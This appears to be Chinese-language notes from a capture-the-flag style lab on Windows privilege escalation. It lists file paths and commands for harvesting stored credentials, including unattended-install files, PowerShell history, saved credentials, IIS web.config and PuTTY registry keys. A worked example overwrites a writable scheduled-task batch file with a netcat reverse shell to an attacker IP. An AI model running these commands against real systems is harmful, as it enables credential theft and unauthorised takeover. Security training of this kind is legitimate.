Windows提权
windows用户:管理员,标准用户
特殊用户:
SYSTEM / LocalSystem:操作系统用来执行内部任务的帐户。
Local Service:用于以“最低”权限运行 Windows 服务的默认帐户。它将使用网络上的匿名连接。
Network Service:用于以“最低”权限运行 Windows 服务的默认帐户。 它将使用计算机凭据通过网络进行身份验证。
从常见位置获取密码
无人值守安装
管理员通过网络将单个系统映射到多台主机,用户凭据可能在以下位置:
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
Powershell历史记录
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
保存的 Windows 凭据
查看账号凭据
cmdkey /list
运行该账号cmd
runas /savecred /user:admin cmd.exe
IIS 配置
IIS 上的网站配置存储在名为 web.config 的文件中,可以存储数据库密码或配置的身份验证机制。
C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
从软件中检索凭证:PuTTY
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
快速提权方法
schtasks :查看任务
icacls:查看权限
写入nc
反向连接
案例:
1,通过schtasks命令查看任务执行文件及执行人
schtasks /query /tn vulntask /fo list /v
2,先在攻击机上设置监听端
nc -lnvp 4444
3,icacls 查看目标文件权限,Users也有完全控制权限
4,将nc.exe 写入该.bat文件并执行
echo c:\tools\nc64.exe -e cmd.exe 10.10.89.233 4444 > C:\tasks\schtask.bat
#此处的ip为攻击机ip #上述命令中的nc64.exe是提前放置在目标机上的,在实际环境下需要手动传输文件到目标机
执行
schtasks /run /tn vulntask
5,攻击机获取反向shell,获取taskusr1用户的权限,寻找flag
网友评论